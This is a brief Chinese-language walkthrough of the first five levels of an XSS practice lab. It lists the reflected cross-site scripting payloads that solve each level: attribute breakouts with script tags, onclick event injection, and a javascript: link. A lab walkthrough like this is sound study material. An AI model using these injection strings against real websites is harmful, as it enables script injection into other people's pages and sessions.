点击图片进入第一关
第一关
发现有个name参数值为test;改变name的值发现在页面上进行输出,name我们就对name参数进行payload注入
'"><script>alert('aini');</script>
直接完成注入
第二关
构造闭合标签,把input标签闭合掉,然后写个script标签
'"><script>alert(1)</script>
第三关
先输入''οnclick='alert(1)试试
发现不行
来到调试器,使用单引号闭合,然后利用input中的点击触发事件来通关。
第四关
先输入''οnclick='alert(1)试试
发现不行
利用input中的点击触发事件来通关。
第五关
使用a标签,发现a标签可以。
"><a href="javascript:alert(1)">aa</a>
弹窗需要点击aa触发